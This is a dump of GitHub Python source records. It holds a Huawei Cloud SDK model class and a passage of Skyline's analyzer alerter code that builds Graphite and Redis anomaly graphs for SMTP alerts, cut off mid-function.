choice\n","repo_name":"redyelruc/AdvProgModule","sub_path":"Week 1 Labs/measurement_converter/MenuFunctions.py","file_name":"MenuFunctions.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"21898728089","text":"# coding: utf-8\n\nimport six\n\nfrom huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization\n\n\nclass GetMetricsValue:\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n sensitive_list = []\n\n openapi_types = {\n 'type': 'str',\n 'transform': 'TransformMetricsRequest',\n 'aggregate': 'AggregateMetricsRequest'\n }\n\n attribute_map = {\n 'type': 'type',\n 'transform': 'transform',\n 'aggregate': 'aggregate'\n }\n\n def __init__(self, type=None, transform=None, aggregate=None):\n \"\"\"GetMetricsValue\n\n The model defined in huaweicloud sdk\n\n :param type: 查询类型,经过转换计算的序列值(transform)、经过聚合计算的序列值(aggregate)\n :type type: str\n :param transform: \n :type transform: :class:`huaweicloudsdkiotanalytics.v1.TransformMetricsRequest`\n :param aggregate: \n :type aggregate: :class:`huaweicloudsdkiotanalytics.v1.AggregateMetricsRequest`\n \"\"\"\n \n \n\n self._type = None\n self._transform = None\n self._aggregate = None\n self.discriminator = None\n\n self.type = type\n if transform is not None:\n self.transform = transform\n if aggregate is not None:\n self.aggregate = aggregate\n\n @property\n def type(self):\n \"\"\"Gets the type of this GetMetricsValue.\n\n 查询类型,经过转换计算的序列值(transform)、经过聚合计算的序列值(aggregate)\n\n :return: The type of this GetMetricsValue.\n :rtype: str\n \"\"\"\n return self._type\n\n @type.setter\n def type(self, type):\n \"\"\"Sets the type of this GetMetricsValue.\n\n 查询类型,经过转换计算的序列值(transform)、经过聚合计算的序列值(aggregate)\n\n :param type: The type of this GetMetricsValue.\n :type type: str\n \"\"\"\n self._type = type\n\n @property\n def transform(self):\n \"\"\"Gets the transform of this GetMetricsValue.\n\n :return: The transform of this GetMetricsValue.\n :rtype: :class:`huaweicloudsdkiotanalytics.v1.TransformMetricsRequest`\n \"\"\"\n return self._transform\n\n @transform.setter\n def transform(self, transform):\n \"\"\"Sets the transform of this GetMetricsValue.\n\n :param transform: The transform of this GetMetricsValue.\n :type transform: :class:`huaweicloudsdkiotanalytics.v1.TransformMetricsRequest`\n \"\"\"\n self._transform = transform\n\n @property\n def aggregate(self):\n \"\"\"Gets the aggregate of this GetMetricsValue.\n\n :return: The aggregate of this GetMetricsValue.\n :rtype: :class:`huaweicloudsdkiotanalytics.v1.AggregateMetricsRequest`\n \"\"\"\n return self._aggregate\n\n @aggregate.setter\n def aggregate(self, aggregate):\n \"\"\"Sets the aggregate of this GetMetricsValue.\n\n :param aggregate: The aggregate of this GetMetricsValue.\n :type aggregate: :class:`huaweicloudsdkiotanalytics.v1.AggregateMetricsRequest`\n \"\"\"\n self._aggregate = aggregate\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n if attr in self.sensitive_list:\n result[attr] = \"****\"\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n import simplejson as json\n if six.PY2:\n import sys\n reload(sys)\n sys.setdefaultencoding(\"utf-8\")\n return json.dumps(sanitize_for_serialization(self), ensure_ascii=False)\n\n def __repr__(self):\n \"\"\"For `print`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GetMetricsValue):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","repo_name":"huaweicloud/huaweicloud-sdk-python-v3","sub_path":"huaweicloud-sdk-iotanalytics/huaweicloudsdkiotanalytics/v1/model/get_metrics_value.py","file_name":"get_metrics_value.py","file_ext":"py","file_size_in_byte":5023,"program_lang":"python","lang":"en","doc_type":"code","stars":104,"dataset":"github-code","pt":"20"} +{"seq_id":"69906288689","text":"from __future__ import division, print_function\nimport logging\nfrom smtplib import SMTP\nimport alerters\ntry:\n import urllib2\nexcept ImportError:\n import urllib.request\n import urllib.error\nfrom ast import literal_eval\nfrom requests.utils import quote\n\n# Added for graphs showing Redis data\nimport traceback\nimport redis\nfrom msgpack import Unpacker\nimport datetime as dt\n# @added 20180809 - Bug #2498: Incorrect scale in some graphs\n# @modified 20181025 - Feature #2618: alert_slack\n# Added gmtime and strftime\nfrom time import (time, gmtime, strftime)\n# @modified 20160820 - Issue #23 Test dependency updates\n# Use Agg for matplotlib==1.5.2 upgrade, backwards compatibile\nimport matplotlib\nmatplotlib.use('Agg')\n# @modified 20161228 - Feature #1828: ionosphere - mirage Redis data features\n# Handle flake8 E402\nif True:\n import matplotlib.pyplot as plt\n from matplotlib.pylab import rcParams\n from matplotlib.dates import DateFormatter\n import io\n import numpy as np\n import pandas as pd\n import syslog\n import os.path\n import sys\n import resource\n\nsys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir))\nsys.path.insert(0, os.path.dirname(__file__))\n\npython_version = int(sys.version_info[0])\nif python_version == 2:\n from email.MIMEMultipart import MIMEMultipart\n from email.MIMEText import MIMEText\n from email.MIMEImage import MIMEImage\n from email import charset\nif python_version == 3:\n from email.mime.multipart import MIMEMultipart\n from email.mime.text import MIMEText\n from email.mime.image import MIMEImage\n\n# @modified 20161228 - Feature #1828: ionosphere - mirage Redis data features\n# Handle flake8 E402\nif True:\n import settings\n import skyline_version\n from skyline_functions import (\n write_data_to_file, mkdir_p,\n # @added 20170603 - Feature #2034: analyse_derivatives\n nonNegativeDerivative, in_list)\n\nskyline_app = 'analyzer'\nskyline_app_logger = '%sLog' % skyline_app\nlogger = logging.getLogger(skyline_app_logger)\nskyline_app_logfile = '%s/%s.log' % (settings.LOG_PATH, skyline_app)\n\nskyline_version = skyline_version.__absolute_version__\n\n\"\"\"\nCreate any alerter you want here. The function will be invoked from\ntrigger_alert.\n\nThree arguments will be passed, two of them tuples: alert and metric.\n\nalert: the tuple specified in your settings:\\n\n alert[0]: The matched substring of the anomalous metric\\n\n alert[1]: the name of the strategy being used to alert\\n\n alert[2]: The timeout of the alert that was triggered\\n\nmetric: information about the anomaly itself\\n\n metric[0]: the anomalous value\\n\n metric[1]: The full name of the anomalous metric\\n\n metric[2]: anomaly timestamp\\n\ncontext: app name\n\n\"\"\"\n\n# FULL_DURATION to hours so that Analyzer surfaces the relevant timeseries data\n# in the graph\ntry:\n full_duration_seconds = int(settings.FULL_DURATION)\nexcept:\n full_duration_seconds = 86400\nfull_duration_in_hours = full_duration_seconds / 60 / 60\n\n\ndef alert_smtp(alert, metric, context):\n \"\"\"\n Called by :func:`~trigger_alert` and sends an alert via smtp to the\n recipients that are configured for the metric.\n\n \"\"\"\n LOCAL_DEBUG = False\n # logger = logging.getLogger(skyline_app_logger)\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - sending smtp alert')\n logger.info('debug :: alert_smtp - Memory usage at start: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n\n # FULL_DURATION to hours so that analyzer surfaces the relevant timeseries data\n # in the graph\n full_duration_in_hours = int(settings.FULL_DURATION) / 3600\n\n # @added 20161229 - Feature #1830: Ionosphere alerts\n # Added Ionosphere variables\n base_name = str(metric[1]).replace(settings.FULL_NAMESPACE, '', 1)\n if settings.IONOSPHERE_ENABLED:\n timeseries_dir = base_name.replace('.', '/')\n training_data_dir = '%s/%s/%s' % (\n settings.IONOSPHERE_DATA_FOLDER, str(int(metric[2])),\n timeseries_dir)\n graphite_image_file = '%s/%s.%s.graphite.%sh.png' % (\n training_data_dir, base_name, skyline_app,\n str(int(full_duration_in_hours)))\n json_file = '%s/%s.%s.redis.%sh.json' % (\n training_data_dir, base_name, skyline_app,\n str(int(full_duration_in_hours)))\n training_data_redis_image = '%s/%s.%s.redis.plot.%sh.png' % (\n training_data_dir, base_name, skyline_app,\n str(int(full_duration_in_hours)))\n # @added 20181006 - Feature #2618: alert_slack\n else:\n graphite_image_file = None\n\n # For backwards compatibility\n if '@' in alert[1]:\n sender = settings.ALERT_SENDER\n recipients = alert[1]\n else:\n sender = settings.SMTP_OPTS['sender']\n # @modified 20160806 - Added default_recipient\n try:\n recipients = settings.SMTP_OPTS['recipients'][alert[0]]\n use_default_recipient = False\n except:\n use_default_recipient = True\n if use_default_recipient:\n try:\n recipients = settings.SMTP_OPTS['default_recipient']\n logger.info(\n 'alert_smtp - using default_recipient as no recipients are configured for %s' %\n str(alert[0]))\n except:\n logger.error(\n 'error :: alert_smtp - no known recipient for %s' %\n str(alert[0]))\n return False\n\n # Backwards compatibility\n if type(recipients) is str:\n recipients = [recipients]\n\n # @added 20180524 - Task #2384: Change alerters to cc other recipients\n # The alerters did send an individual email to each recipient. This would be\n # more useful if one email was sent with the first smtp recipient being the\n # to recipient and the subsequent recipients were add in cc.\n if recipients:\n primary_recipient = False\n cc_recipients = False\n for i_recipient in recipients:\n if not primary_recipient:\n primary_recipient = str(i_recipient)\n if primary_recipient != i_recipient:\n if not cc_recipients:\n cc_recipients = str(i_recipient)\n else:\n new_cc_recipients = '%s,%s' % (str(cc_recipients), str(i_recipient))\n cc_recipients = str(new_cc_recipients)\n logger.info(\n 'alert_smtp - will send to primary_recipient :: %s, cc_recipients :: %s' %\n (str(primary_recipient), str(cc_recipients)))\n\n # @modified 20161229 - Feature #1830: Ionosphere alerts\n # Ionosphere alerts\n unencoded_graph_title = 'Skyline %s - ALERT at %s hours - %s' % (\n context, str(int(full_duration_in_hours)), str(metric[0]))\n # @modified 20170603 - Feature #2034: analyse_derivatives\n # Added deriative functions to convert the values of metrics strictly\n # increasing monotonically to their deriative products in alert graphs and\n # specify it in the graph_title\n known_derivative_metric = False\n try:\n # @modified 20180519 - Feature #2378: Add redis auth to Skyline and rebrow\n if settings.REDIS_PASSWORD:\n REDIS_ALERTER_CONN = redis.StrictRedis(password=settings.REDIS_PASSWORD, unix_socket_path=settings.REDIS_SOCKET_PATH)\n else:\n REDIS_ALERTER_CONN = redis.StrictRedis(unix_socket_path=settings.REDIS_SOCKET_PATH)\n except:\n logger.error(traceback.format_exc())\n logger.error('error :: alert_smtp - redis connection failed')\n try:\n derivative_metrics = list(REDIS_ALERTER_CONN.smembers('derivative_metrics'))\n except:\n derivative_metrics = []\n redis_metric_name = '%s%s' % (settings.FULL_NAMESPACE, str(base_name))\n if redis_metric_name in derivative_metrics:\n known_derivative_metric = True\n if known_derivative_metric:\n try:\n non_derivative_monotonic_metrics = settings.NON_DERIVATIVE_MONOTONIC_METRICS\n except:\n non_derivative_monotonic_metrics = []\n skip_derivative = in_list(redis_metric_name, non_derivative_monotonic_metrics)\n if skip_derivative:\n known_derivative_metric = False\n if known_derivative_metric:\n unencoded_graph_title = 'Skyline %s - ALERT at %s hours - derivative graph - %s' % (\n context, str(int(full_duration_in_hours)), str(metric[0]))\n\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - unencoded_graph_title: %s' % unencoded_graph_title)\n graph_title_string = quote(unencoded_graph_title, safe='')\n graph_title = '&title=%s' % graph_title_string\n\n graphite_port = '80'\n if settings.GRAPHITE_PORT != '':\n graphite_port = str(settings.GRAPHITE_PORT)\n\n # @added 20180809 - Bug #2498: Incorrect scale in some graphs\n # If -xhours is used the scale is incorrect if x hours > than first\n # retention period, passing from and until renders the graph with the\n # correct scale.\n # @modified 20181009 - Feature #2618: alert_slack\n # Bug #2498: Incorrect scale in some graphs\n # Corrected the from_timestamp and until_timestamp as they were incorrectly\n # order, however Graphite still rendered the correct graph as it plotted\n # reverse, which is the same. Also using the metric[0] value instead of\n # time()\n # from_timestamp = int(time())\n # until_timestamp = from_timestamp - full_duration_seconds\n until_timestamp = int(metric[2])\n from_timestamp = until_timestamp - full_duration_seconds\n\n graphite_from = dt.datetime.fromtimestamp(int(from_timestamp)).strftime('%H:%M_%Y%m%d')\n logger.info('graphite_from - %s' % str(graphite_from))\n graphite_until = dt.datetime.fromtimestamp(int(until_timestamp)).strftime('%H:%M_%Y%m%d')\n logger.info('graphite_until - %s' % str(graphite_until))\n\n # @modified 20180809 - Bug #2498: Incorrect scale in some graphs\n # link = '%s://%s:%s/render/?from=-%shours&target=cactiStyle(%s)%s%s&colorList=orange' % (\n # settings.GRAPHITE_PROTOCOL, settings.GRAPHITE_HOST,\n # graphite_port, str(int(full_duration_in_hours)), metric[1],\n # settings.GRAPHITE_GRAPH_SETTINGS, graph_title)\n link = '%s://%s:%s/render/?from=%s&until=%s&target=cactiStyle(%s)%s%s&colorList=orange' % (\n settings.GRAPHITE_PROTOCOL, settings.GRAPHITE_HOST, graphite_port,\n str(graphite_from), str(graphite_until), metric[1],\n settings.GRAPHITE_GRAPH_SETTINGS, graph_title)\n\n # @added 20170603 - Feature #2034: analyse_derivatives\n if known_derivative_metric:\n # @modified 20180809 - Bug #2498: Incorrect scale in some graphs\n # link = '%s://%s:%s/render/?from=-%shours&target=cactiStyle(nonNegativeDerivative(%s))%s%s&colorList=orange' % (\n # settings.GRAPHITE_PROTOCOL, settings.GRAPHITE_HOST,\n # graphite_port, str(int(full_duration_in_hours)), metric[1],\n # settings.GRAPHITE_GRAPH_SETTINGS, graph_title)\n link = '%s://%s:%s/render/?from=%s&until=%s&target=cactiStyle(nonNegativeDerivative(%s))%s%s&colorList=orange' % (\n settings.GRAPHITE_PROTOCOL, settings.GRAPHITE_HOST,\n graphite_port, str(graphite_from), str(graphite_until), metric[1],\n settings.GRAPHITE_GRAPH_SETTINGS, graph_title)\n\n content_id = metric[1]\n image_data = None\n if settings.SMTP_OPTS.get('embed-images'):\n # @added 20161229 - Feature #1830: Ionosphere alerts\n # Use existing data if files exist\n if os.path.isfile(graphite_image_file):\n try:\n with open(graphite_image_file, 'r') as f:\n image_data = f.read()\n logger.info('alert_smtp - using existing png - %s' % graphite_image_file)\n except:\n logger.error(traceback.format_exc())\n logger.error('error :: alert_smtp - failed to read image data from existing png - %s' % graphite_image_file)\n logger.error('error :: alert_smtp - %s' % str(link))\n image_data = None\n\n if image_data is None:\n try:\n # @modified 20170913 - Task #2160: Test skyline with bandit\n # Added nosec to exclude from bandit tests\n image_data = urllib2.urlopen(link).read() # nosec\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - image data OK')\n except urllib2.URLError:\n logger.error(traceback.format_exc())\n logger.error('error :: alert_smtp - failed to get image graph')\n logger.error('error :: alert_smtp - %s' % str(link))\n image_data = None\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - image data None')\n\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage after image_data: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n\n # If we failed to get the image or if it was explicitly disabled,\n # use the image URL instead of the content.\n if image_data is None:\n img_tag = '' % link\n else:\n img_tag = '' % content_id\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - img_tag: %s' % img_tag)\n\n if settings.IONOSPHERE_ENABLED:\n # Create Ionosphere Graphite image\n # @modified 20161229 - Feature #1830: Ionosphere alerts\n # Only write the data to the file if it does not exist\n if not os.path.isfile(graphite_image_file):\n try:\n write_data_to_file(skyline_app, graphite_image_file, 'w', image_data)\n logger.info(\n 'added %s Ionosphere Graphite image :: %s' % (\n skyline_app, graphite_image_file))\n except:\n logger.info(traceback.format_exc())\n logger.error(\n 'error :: failed to add %s Ionosphere Graphite image' % (\n skyline_app, graphite_image_file))\n else:\n logger.info(\n '%s Ionosphere Graphite image already exists :: %s' % (\n skyline_app, graphite_image_file))\n\n redis_image_data = None\n try:\n plot_redis_data = settings.PLOT_REDIS_DATA\n except:\n plot_redis_data = False\n\n if settings.SMTP_OPTS.get('embed-images') and plot_redis_data:\n # Create graph from Redis data\n redis_metric_key = '%s%s' % (settings.FULL_NAMESPACE, metric[1])\n try:\n raw_series = REDIS_ALERTER_CONN.get(redis_metric_key)\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - raw_series: %s' % 'OK')\n except:\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - raw_series: %s' % 'FAIL')\n\n try:\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage before get Redis timeseries data: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n unpacker = Unpacker(use_list=True)\n unpacker.feed(raw_series)\n timeseries_x = [float(item[0]) for item in unpacker]\n unpacker = Unpacker(use_list=True)\n unpacker.feed(raw_series)\n timeseries_y = [item[1] for item in unpacker]\n\n unpacker = Unpacker(use_list=False)\n unpacker.feed(raw_series)\n timeseries = list(unpacker)\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage after get Redis timeseries data: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n except:\n logger.error('error :: alert_smtp - unpack timeseries failed')\n timeseries = None\n\n if settings.IONOSPHERE_ENABLED and timeseries:\n '''\n .. todo: this is possibly to be used to allow the user to submit the\n FULL_DURATION duration data set for the features profile to be\n created against IF it is a Mirage metric. This would allow for\n additional granularity in Mirage metrics, thereby maintaining\n their seasonality, but allow user and Skyline to analyze the\n anomaly at a FULL_DURATION resolution as well. Not sure how to\n code that in Ionosphere context yet but could just be additonal\n flag in the Ionosphere record. In the Ionosphere frontend, the\n user would be given an option to either create the features\n profile on the Mirage timeseries or the redis FULL_DURATION\n timeseries. It is a little complicated, but doable.\n # @modified 20161229 - Feature #1828: ionosphere - mirage Redis data features\n However that ^^ is UNDESIRABLE in the Mirage/Ionosphere context\n at the moment. Ionosphere must only profile SECOND_ORDER_RESOLUTION_HOURS\n currently so as to not pollute the seasonality aspect of Mirage\n '''\n # Create Ionosphere redis timeseries json if is does not exist\n # @modified 20161229 - Feature #1830: Ionosphere alerts\n # Only write the data to the file if it does not exist and replace\n # the timeseries object if a json file exists\n\n # @added 20170920 - Bug #2168: Strange Redis derivative graph\n using_original_redis_json = False\n\n if not os.path.isfile(json_file):\n timeseries_json = str(timeseries).replace('[', '(').replace(']', ')')\n try:\n write_data_to_file(skyline_app, json_file, 'w', timeseries_json)\n logger.info('added %s Ionosphere Redis data timeseries json file :: %s' % (skyline_app, json_file))\n except:\n logger.info(traceback.format_exc())\n logger.error('error :: failed to add %s Ionosphere Redis data timeseries json file' % (skyline_app, json_file))\n else:\n # Replace the timeseries object\n logger.info('%s Ionosphere Redis data timeseries json file already exists, using :: %s' % (skyline_app, json_file))\n anomaly_json = json_file\n try:\n # Read the timeseries json file\n with open(anomaly_json, 'r') as f:\n raw_timeseries = f.read()\n timeseries_array_str = str(raw_timeseries).replace('(', '[').replace(')', ']')\n timeseries = literal_eval(timeseries_array_str)\n logger.info('%s Redis timeseries replaced with timeseries from :: %s' % (skyline_app, anomaly_json))\n timeseries_x = [float(item[0]) for item in timeseries]\n timeseries_y = [item[1] for item in timeseries]\n # @added 20170920 - Bug #2168: Strange Redis derivative graph\n # This already has nonNegativeDerivative applied to it\n using_original_redis_json = True\n except:\n logger.error(traceback.format_exc())\n logger.error(\n 'error :: %s failed to read timeseries data from %s' % (skyline_app, anomaly_json))\n timeseries = None\n\n # @added 20170603 - Feature #2034: analyse_derivatives\n if known_derivative_metric:\n\n # @added 20170920 - Bug #2168: Strange Redis derivative graph\n # If this is the Mirage Redis json it already has\n # nonNegativeDerivative applied to it\n if not using_original_redis_json:\n logger.info('alert_smtp - nonNegativeDerivative being applied')\n\n try:\n derivative_timeseries = nonNegativeDerivative(timeseries)\n timeseries = derivative_timeseries\n # @added 20170920 - Bug #2168: Strange Redis derivative graph\n logger.info('alert_smtp - nonNegativeDerivative applied')\n except:\n logger.error('error :: alert_smtp - nonNegativeDerivative failed')\n else:\n logger.info('alert_smtp - nonNegativeDerivative not being applied, as it will have been applied in the original json')\n\n # @added 21070726 - Bug #2068: Analyzer smtp alert error on Redis plot with derivative metrics\n # If the nonNegativeDerivative has been calculated we need to reset the\n # x and y as nonNegativeDerivative has to discard the first value as it\n # has no delta for it so the timeseries is 1 item less.\n timeseries_x = [float(item[0]) for item in timeseries]\n timeseries_y = [item[1] for item in timeseries]\n\n pd_series_values = None\n if timeseries:\n try:\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage before pd.Series: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n values = pd.Series([x[1] for x in timeseries])\n # Because the truth value of a Series is ambiguous\n pd_series_values = True\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage after pd.Series: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n except:\n logger.error('error :: alert_smtp - pandas value series on timeseries failed')\n\n if pd_series_values:\n try:\n array_median = np.median(values)\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - values median: %s' % str(array_median))\n\n array_amax = np.amax(values)\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - array_amax: %s' % str(array_amax))\n array_amin = np.amin(values)\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - array_amin: %s' % str(array_amin))\n mean = values.mean()\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - mean: %s' % str(mean))\n stdDev = values.std()\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - stdDev: %s' % str(stdDev))\n\n sigma3 = 3 * stdDev\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - sigma3: %s' % str(sigma3))\n\n # sigma3_series = [sigma3] * len(values)\n\n sigma3_upper_bound = mean + sigma3\n try:\n sigma3_lower_bound = mean - sigma3\n except:\n sigma3_lower_bound = 0\n\n sigma3_upper_series = [sigma3_upper_bound] * len(values)\n sigma3_lower_series = [sigma3_lower_bound] * len(values)\n amax_series = [array_amax] * len(values)\n amin_series = [array_amin] * len(values)\n mean_series = [mean] * len(values)\n except:\n logger.error('error :: alert_smtp - numpy ops on series failed')\n mean_series = None\n\n if mean_series:\n graph_title = 'Skyline %s - ALERT - at %s hours - Redis data\\n%s - anomalous value: %s' % (context, str(int(full_duration_in_hours)), metric[1], str(metric[0]))\n # @added 20170603 - Feature #2034: analyse_derivatives\n if known_derivative_metric:\n graph_title = 'Skyline %s - ALERT - at %s hours - Redis data (derivative graph)\\n%s - anomalous value: %s' % (context, str(int(full_duration_in_hours)), metric[1], str(metric[0]))\n\n # @modified 20160814 - Bug #1558: Memory leak in Analyzer\n # I think the buf is causing a memory leak, trying a file\n # if python_version == 3:\n # buf = io.StringIO()\n # else:\n # buf = io.BytesIO()\n buf = '%s/%s.%s.%s.png' % (\n settings.SKYLINE_TMP_DIR, skyline_app, str(int(metric[2])), metric[1])\n\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage before plot Redis data: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n\n # Too big\n # rcParams['figure.figsize'] = 12, 6\n rcParams['figure.figsize'] = 8, 4\n try:\n # fig = plt.figure()\n fig = plt.figure(frameon=False)\n ax = fig.add_subplot(111)\n ax.set_title(graph_title, fontsize='small')\n # @modified 20180417 - Bug #2358: set_axis_bgcolor method removed from Matplotlib - Luminosity\n # IssueID #49 'AxesSubplot' object has no attribute 'set_axis_bgcolor'\n # ax.set_axis_bgcolor('black')\n if hasattr(ax, 'set_facecolor'):\n ax.set_facecolor('black')\n else:\n ax.set_axis_bgcolor('black')\n\n try:\n datetimes = [dt.datetime.utcfromtimestamp(ts) for ts in timeseries_x]\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - datetimes: %s' % 'OK')\n except:\n logger.error('error :: alert_smtp - datetimes: %s' % 'FAIL')\n\n plt.xticks(rotation=0, horizontalalignment='center')\n xfmt = DateFormatter('%a %H:%M')\n plt.gca().xaxis.set_major_formatter(xfmt)\n\n ax.xaxis.set_major_formatter(xfmt)\n\n ax.plot(datetimes, timeseries_y, color='orange', lw=0.6, zorder=3)\n ax.tick_params(axis='both', labelsize='xx-small')\n\n max_value_label = 'max - %s' % str(array_amax)\n ax.plot(datetimes, amax_series, lw=1, label=max_value_label, color='m', ls='--', zorder=4)\n min_value_label = 'min - %s' % str(array_amin)\n ax.plot(datetimes, amin_series, lw=1, label=min_value_label, color='b', ls='--', zorder=4)\n mean_value_label = 'mean - %s' % str(mean)\n ax.plot(datetimes, mean_series, lw=1.5, label=mean_value_label, color='g', ls='--', zorder=4)\n\n sigma3_text = (r'3$\\sigma$')\n # sigma3_label = '%s - %s' % (str(sigma3_text), str(sigma3))\n\n sigma3_upper_label = '%s upper - %s' % (str(sigma3_text), str(sigma3_upper_bound))\n ax.plot(datetimes, sigma3_upper_series, lw=1, label=sigma3_upper_label, color='r', ls='solid', zorder=4)\n\n if sigma3_lower_bound > 0:\n sigma3_lower_label = '%s lower - %s' % (str(sigma3_text), str(sigma3_lower_bound))\n ax.plot(datetimes, sigma3_lower_series, lw=1, label=sigma3_lower_label, color='r', ls='solid', zorder=4)\n\n ax.get_yaxis().get_major_formatter().set_useOffset(False)\n ax.get_yaxis().get_major_formatter().set_scientific(False)\n\n # Shrink current axis's height by 10% on the bottom\n box = ax.get_position()\n ax.set_position([box.x0, box.y0 + box.height * 0.1,\n box.width, box.height * 0.9])\n\n # Put a legend below current axis\n ax.legend(loc='upper center', bbox_to_anchor=(0.5, -0.05),\n fancybox=True, shadow=True, ncol=4, fontsize='x-small')\n plt.rc('lines', lw=2, color='w')\n\n plt.grid(True)\n\n ax.grid(b=True, which='both', axis='both', color='lightgray',\n linestyle='solid', alpha=0.5, linewidth=0.6)\n # @modified 20180417 - Bug #2358: set_axis_bgcolor method removed from Matplotlib - Luminosity\n # IssueID #49 'AxesSubplot' object has no attribute 'set_axis_bgcolor'\n # ax.set_axis_bgcolor('black')\n if hasattr(ax, 'set_facecolor'):\n ax.set_facecolor('black')\n else:\n ax.set_axis_bgcolor('black')\n\n rcParams['xtick.direction'] = 'out'\n rcParams['ytick.direction'] = 'out'\n ax.margins(y=.02, x=.03)\n # tight_layout removes the legend box\n # fig.tight_layout()\n try:\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage before plt.savefig: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n plt.savefig(buf, format='png')\n\n if settings.IONOSPHERE_ENABLED:\n if not os.path.exists(training_data_dir):\n mkdir_p(training_data_dir)\n logger.info('created dir - %s' % training_data_dir)\n\n if not os.path.isfile(training_data_redis_image):\n try:\n plt.savefig(training_data_redis_image, format='png')\n logger.info(\n 'alert_smtp - save Redis training data image - %s' % (\n training_data_redis_image))\n except:\n logger.info(traceback.format_exc())\n logger.error(\n 'error :: alert_smtp - could not save - %s' % (\n training_data_redis_image))\n else:\n logger.info(\n 'alert_smtp - Redis training data image already exists - %s' % (\n training_data_redis_image))\n\n # @added 20160814 - Bug #1558: Memory leak in Analyzer\n # As per http://www.mail-archive.com/matplotlib-users@lists.sourceforge.net/msg13222.html\n # savefig in the parent process was causing the memory leak\n # the below fig.clf() and plt.close() did not resolve this\n # however spawing a multiprocessing process for alert_smtp\n # does solve this as issue as all memory is freed when the\n # process terminates.\n fig.clf()\n plt.close(fig)\n redis_graph_content_id = 'redis.%s' % metric[1]\n redis_image_data = True\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - savefig: %s' % 'OK')\n logger.info('debug :: alert_smtp - Memory usage after plt.savefig: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n except:\n logger.info(traceback.format_exc())\n logger.error('error :: alert_smtp - plt.savefig: %s' % 'FAIL')\n except:\n logger.error(traceback.format_exc())\n logger.error('error :: alert_smtp - could not build plot')\n\n if LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - Memory usage before email: %s (kb)' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n\n if redis_image_data:\n redis_img_tag = '' % redis_graph_content_id\n if settings.ENABLE_DEBUG or LOCAL_DEBUG:\n logger.info('debug :: alert_smtp - redis_img_tag: %s' % str(redis_img_tag))\n else:\n # @modified 20161229 - Feature #1830: Ionosphere alerts\n # @modified 20170108 - Feature #1852: Ionosphere - features_profile matched graphite graphs\n # Restored the previous redis_img_tag method as some smtp alerts were\n # coming without a Redis graph, not all but some and for some reason,\n # I am pretty certain retrospectively that it was done that way from\n # testing I just wanted to try and be cleaner.\n # The redis_img_tag was changed at\n # https://github.com/earthgecko/skyline/commit/31bcacf3f90f0953ebed0d57260cb937e01f887c#diff-520bf2a218f65074ffead4d8184c138dR489\n redis_img_tag = '' % 'none'\n # redis_img_tag = ''\n\n # @added 20170806 - Feature #1830: Ionosphere alerts\n # Show a human date in alerts\n alerted_at = str(dt.datetime.utcfromtimestamp(int(metric[2])))\n\n 